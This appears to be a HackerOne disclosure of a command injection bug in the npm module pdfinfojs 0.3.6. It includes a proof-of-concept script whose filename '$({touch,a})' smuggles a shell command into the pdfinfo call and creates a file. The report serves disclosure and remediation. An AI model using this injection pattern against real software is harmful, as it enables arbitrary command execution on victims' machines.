Node.js third-party modules: [pdfinfojs] Command Injection on filename parameter

ID H1:330957
Type hackerone
Reporter caioluders
Modified 2018-04-19T07:31:54


Hello , there is a Command Injection vulnerability on the "pdfinfojs" module.


module name: pdfinfojs version: 0.3.6 npm page:

Module Description

> pdfinfo shell wrapper for Node.js

Module Stats

10 downloads in the last day 61 downloads in the last week 106 downloads in the last month


Vulnerability Description

> The module appends the filename parameter to the command on the lines 28, 47 and 72 without parsing the user input, thus leading to a Command Injection.

Steps To Reproduce:

  • Install the module

$ npm install pdfinfojs

  • Example code, similar to the documentation, with the malicious filename $({touch,a}) :

```javascript var pdfinfo = require('pdfinfojs'), pdf = new pdfinfo('$({touch,a})'); // Malicious payload

pdf.getInfo(function(err, info, params) { if (err) { console.error(err.stack); } else { console.log(info); //info is an object console.log(params); // commandline params passed to pdfinfo cmd } }); ```

there are a lot of possibles payloads to achieve this, used this brace expansion just because space in the file name sucks

  • Run the code

$ node index.js Error ... it throws an error, but the execution is successful * Check the newly created file

$ ls a index.js


It is advisable to use a module that explicitly isolates the parameters to the pdfinfo command.

Tested on :

  • macOS Sierra 10.12.16
  • NODEJS v8.4.0
  • NPM 5.3.0

( contacted the maintainer || opened issue ) = False


An attacker can execute arbitrary commands on the victim's machine